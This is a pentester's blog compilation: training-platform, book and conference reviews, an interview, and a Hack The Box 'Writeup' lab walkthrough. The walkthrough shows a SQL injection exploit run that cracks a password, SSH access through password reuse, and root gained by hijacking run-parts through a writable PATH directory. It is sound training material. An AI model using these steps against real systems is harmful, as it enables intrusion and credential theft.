Author: Daniel

Review Pentester Academy and AttackDefense Labs

Hello All, this is a review of Pentest Academy and AttackDefense Labs. The content is really huge:

Screenshot from: https://www.pentesteracademy.com/

So it is not possible to review all of it, this post is just meant to give a rough overview and some examples.

Pentester Academy

As said before, in the courses sections are 40+ courses available. The topics include for example (all from a security perspective, but some are also from a defenders viewpoint): Python, ADS, shellcoding (I made SLAE 2015, helped me also with my OSCE certification), Javascript, web app pentesting, some forensics topics, WiFi and network pentesting, exploitation and much more.

For a complete overview have a look here.

Currently I started the course Traffic Analysis: Tshark unleashed, so this is the short example for this post.

Screenshot from the Tshark course.

What comes really handy is that you can just start the labs in the AttackDefense labs, so you don’t need to setup own VMs only for following the courses:

Screenshot from one of the Traffic Analysis: Tshark unleashed course

What is also great, you can download the videos, so you can also watch them later.

As far as I can say, all the videos are suitable more or less for beginners.

AttackDefense Labs

The labs include a huge amount of topics, including: Webapps, MSF, Pivilege Escalation, Eploiting, Wi-Fi, Forensincs, Reversing, Cracking, Python and so on. Some labs include a small task, but others include for example full blown webapps like juiceshop.

Some examples from the Wab Apps labs.

In this case there was a small issue (for me), the labs are timing out after some time, which might be a bit annoying when having a full web app. For the smaller labs I never had problems.

As advanced labs there are also some CTF style labs available.

Verifiable Badges

With verifiable badges it is possible to verfiy your knowlege to an external source, as I did here:

“The holder of this badge has successfully completed the Network Pentesting challenge exercises in Pentester Academy’s AttackDefense labs. These challenge exercises test a practical understanding of how to perform remote network reconnaissance of various infrastructure components.”
(https://www.credential.net/b5050be1-05c9-41fa-93a9-ea0b5cd8825f#.Xg8KBMQX5XM.twitter)

As far as I could see all badges have three small challenges where you have to find flags (like a small CTF), badges are available for lot’s of topics (19 badges are availabe at the time of this writing) and most of them can be done after you viewed and worked through the courses.

Certifications

It is also possible to take certification exams (like the SLAE): https://www.pentesteracademy.com/exam

This way it is possible to take exams from pentestacademy (if you subscribed) without buying the whole course.

Pricing at time of this writing

Conclusion

My conclusion after using it for myself and speaking to some folks who also using it:

  • it is affordable
  • the content is huge
  • the courses are a great resource espeacially for beginners
  • courses and labs suite for attackers and defenders
  • I like the badges

For me Pentester Academy and AttackDefense Labs is highly recommended.

Links

Hackthebox writeup

Yes, the machine itself is called writeup. My first step was running nmap:

 # nmap  10.10.10.138
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-03 21:54 CEST
Nmap scan report for 10.10.10.138
Host is up (0.021s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 4.74 seconds


# nmap -A -p 22,80 10.10.10.138
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-03 22:06 CEST
Nmap scan report for 10.10.10.138
Host is up (0.022s latency).


PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
|   2048 dd:53:10:70:0b:d0:47:0a:e2:7e:4a:b6:42:98:23:c7 (RSA)
|   256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA)
|_  256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/writeup/
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Nothing here yet.
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 (92%), Linux 3.16 - 4.6 (92%), Linux 3.18 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 - 3.11 (92%), Linux 4.2 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS
1   20.28 ms 10.10.12.1
2   20.47 ms 10.10.10.138


OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.40 seconds

More info gathering of the web service

As you can see CMS Made Simple is being used.

Exploitation of the website

After digging around a bit with sqlmap and Burp without success I searched for an exploit, and voila:
https://packetstormsecurity.com/files/152356/CMS-Made-Simple-SQL-Injection.html

The exploit was also able to crack, so I used rockyou.txt as a wordlist:

# python cmsmadesimple22-sql.py -u http://10.10.10.138/writeup/ -c -w ./rockyou.txt

[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7
[+] Password cracked: raykayjay9

Login to cms is protected with a .htaccess file, creds are not valid here. Good that there is a thing called password re-use.

User flag

But ssh worked with the creds:

# ssh jkr@10.10.10.138
jkr@10.10.10.138's password:
Linux writeup 4.9.0-8-amd64 x86_64 GNU/Linux


The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.


Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jul  4 14:51:59 2019 from 10.10.12.57
jkr@writeup:~$
jkr@writeup:~$ ls
pspy64s user.txt
jkr@writeup:~$ cat user.txt
d4e493fd4068afc9eb1aa6a55319f978

So user flag was done…

Root flag

For escalating to root I first used exploit suggester and tried the exploits, but without success.

So I did some research and came across a tool called pyspy. For transfering the file I used apache and wget.

jkr@writeup:/tmp$ ./pspy64
...
root      2456  0.0  0.6 108644  6940 ?        Ss   15:10   0:00 sshd: jkr [priv]
root      2468  0.0  0.0   4276   756 ?        S    15:10   0:00 sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
root      2469  0.0  1.0  40364 10348 ?        S    15:10   0:00 /usr/bin/python /usr/local/bin/run-parts --lsbsysinit /etc/update-motd.d
root      2470  0.0  0.0   4276   732 ?        S    15:10   0:00 /bin/sh -i 
...

What does that mean? run-parts is executing all files in /usr/local/bin/run-parts. If we can put a file here we win.

The file looks like:

cat /root/root.txt >> /tmp/.testing

Then it is straight forward:

jkr@writeup:/tmp$ vi /usr/local/sbin/run-parts
jkr@writeup:/tmp$ chmod +x  /usr/local/sbin/run-parts
jkr@writeup:/tmp$ ls -al
total 4380
drwxrwxrwt  2 root root    4096 Jul  7 16:30 .
drwxr-xr-x 22 root root    4096 Apr 19 07:31 ..
-rw-r--r--  1 root root      33 Jul  7 16:30 .testing
jkr@writeup:/tmp$ cat .testing
eeba47f60b48ef92b734f9b6198d7226

And that was it :).

Usefull add-ons for Webapp Pentesting and Bug Bounty

So here is just a very short one. Always when I have to set up a new pentest machine, I have to look it up again, so here is a small list of browser addons that are usefull for webapp pentesting (using Firefox):

  • wappalyzer
  • Temp Mail
  • Hackbar Quantum
  • retire.js
  • Foxy Proxy Basic
  • shodan.io
  • Export Cookies

Book review: Real-World Bug Hunting

One of the good things about Defcon is that there is a No Starch Press store at the vendors area. 

So I bought it for the flight, but it took a bit longer until I was through the book.

The book has 20 chapters, starting with Bug Bounty Basics. The next 17 chapters go through different classes of vulnerabitlites like XSS, SQLi, memory corruption, CSRF and so on.

After an explanation of the vulnerabilty itself, real reports are also included with further hints. At the end of each chapter the reader can find useful takeaways.

The last two chapters are not about bugs, one is about finding bugs in general, including some descriptions for tactics and tools. The last chapter is about writing a good report, communication to the companies and how to deal with the different programmes, which seems very useful to me.

Real-World Bug Hunting is helping to maximaize payouts and finding more bugs. It shows up lots of attack vectors and creative way for exploing them.

The book is not for beginners. I recommend to have a look at the recommendations list, the bug bounty beginners and the penetration tester basics articles for more resources.

Real-World Bug Hunting: A Field Guide to Web Hacking
Author: Peter Yaworski
Content: A very practical guide to bug hunting and bug bounties
Career: Penetration Tester, Bug Bounty
Level: Beginner, Intermediate

Review Threatcon & Offensive HTML, SVG, CSS & Other Browser-Evil

End of August I travelled from Germany to far away Kathmandu in Nepal for visiting threatcon and the browser security workshop by Mario Heiderich and the beautiful country. Here is a short review.

Browser Security Workshop

With the conference I booked the 2 days workshop Offensive HTML, SVG, CSS & Other Browser-Evil. The covered topics:

  • History of browser security and the browser market
  • Defense 101
  • XSS
  • URL obfuscation
  • Unicode, character sets
  • Breaking Filters (WAF)
  • IE/Edge compatibility modes
  • mXSS

The presentation includes 255 slides, so in 2 days it was not possible to cover everything, also there was no time for the hands-on parts. XSS is not the big topic anymore, but I was happy I can fresh up my knowlege and also learned some new stuff.

The Conference

The conference was one day with a single track, so contrary to Blackhat & Defcon everything was clearly arranged. On the speaker list were Mario Heiderich, Jim Manico, Georgia Weidman, Vignesh, Yogesh Ojha, Aniruddha Dolas and Prashant Tilekar, you may see some familiar names here.

Between the presentations there was lot of time for networking and discussions, with the business pass I also joint the evening event which came with great drinks & food.

For me the best at conferences, of course, is the networking part. It was a great pleasure to meet and connect with new people and friends.

When you are new to IT security I highly recommend to visit smaller and local conferences if possible, it is much easier to connect and to visit.

Thanks to the organizers of threatcon for a great event.

Visiting Nepal

After the conference I took four days for traveling and sightseeing, this is just a very small impression (I made >1000 shots). I travel a lot, and this was one of the most impressive experiences I’ve had.

Interview with Christoph Haas

A short interview with Christoph Haas with some advise for career starters.

What brought you to IT security? How did you get into penetration testing?
I started with an apprenticeship as a developer. After that I made my Bachelor in Business Informatics. During this I worked three days a week in the security department of a bigger company in the technology sector. However, during this phase I found out that my part is more in the “offensive” field 😉 . So I met the company I started working as a penetration tester at a small German conference (Backtrack-Day).

You are the owner of Securai, a penetration testing company that is specialized in application security. Why did you specialize?
I believe that specialization is the key success factor. IT security is a complex topic, but if you really want to be good at it, you have to focus on one thing.

Do you also look for newbies in the field?
Sure, always 🙂 !

What do you expect from applicants? What do you think makes a good penetration tester?
They really have to want it. If someone is getting frustrated easily, I would recommend another career. They also should be happy about communicating with other people. Penetration testing is a consulting business, so you have to deal with people a lot. They should have fun learning new things, because this is what you have to do all the time, even after years in pentesting.
From a technical perspective we are looking for people with a development background, as I think they can communicate better with devs and as we focus on appsec, we mostly have those types of customers.

What has been the best or worst moment in your penetration testing career?
The best moment is, when after hours or days of struggling you finally get an application to fall. This is the fun part about pentesting 🙂 .

What is your thought about certifications?
I think they are necessary and sometimes even are fun to do. I personally like the OSCP and we basically use it as a test for new colleagues.

Christoph is Founder and Owner of Securai, a company focusing on application security.

Review Black Hat & Defcon 2019

Black Hat

Black Hat is a pretty commercial conference, tickets for two days cost more than 2000$, if you want to attend the briefings. There are also trainings, costs vary and are much higher. The content qualitiy is usually very high, the attendees vary from consultants, CISOs, developers, and all kind of IT security professionals. There is a big crowd with about 17000 attendees in 2017.

The Black Hat is being held at the Mandalay Bay.

The briefings are picked by a review board in a call for papers process. Researchers present their top work, often campaigned weeks before the conference. 
In the business halls all kind of vendors are present and giving away loads of swag for attendees and also throwing parties. 

Keynote

Black Hat USA 2019 Keynote: Every Security Team is a Software Team Now by Dino Dai Zovi

Arsenal

I am mainly at the Black Hat for the Arsenal. It is a great opportunity for developers to present their work at booths that are also located at the business hall. For the last three years I could thankfully present AVET (AntiVirus Evasion Tool), which is giving presenters a briefings pass. The tools are also picked by a review board.

A short thread

Defcon

Defcon is the “real” hacker event in Vegas and is completly different as Black Hat (although both have the same founder). Black Hat and Defcon overlap one day, Defcon is four days. Costs for 2019 were 300$, qualitiy of the talks is also high and more fun might be included (like talks about phreaking). More offensive security stuff seems to be included here.

This year the event was spread over four hotels including four presentation tracks, several villages (areas with talks and hands-on for several topics), parties, CTFs, movies and so on. It was said that about 30000 people attended defcon in 2019, so everything was pretty crowded and also a bit confusing. Walking between the different spots can take between 10-20 minutes.

Defcon is meant to be a hacker con, which is true. Also, there is a strong drinking culture present, fist time speakers must drink a shot (and attendees demand it loudly).

There is also a media server which is worth a look.

Conclusion

If you have the chance to attend Black Hat/Defcon you should give it a try. It is great to connect and develop your skills and I have met some great people and made new friends.
For people who want to advance their career it is definetly great, but if it is your first conference you might consider to go to a smaller event. The atmosphere in Las Vegas is somewhat special, with the hotels, the casinos and the tourists around.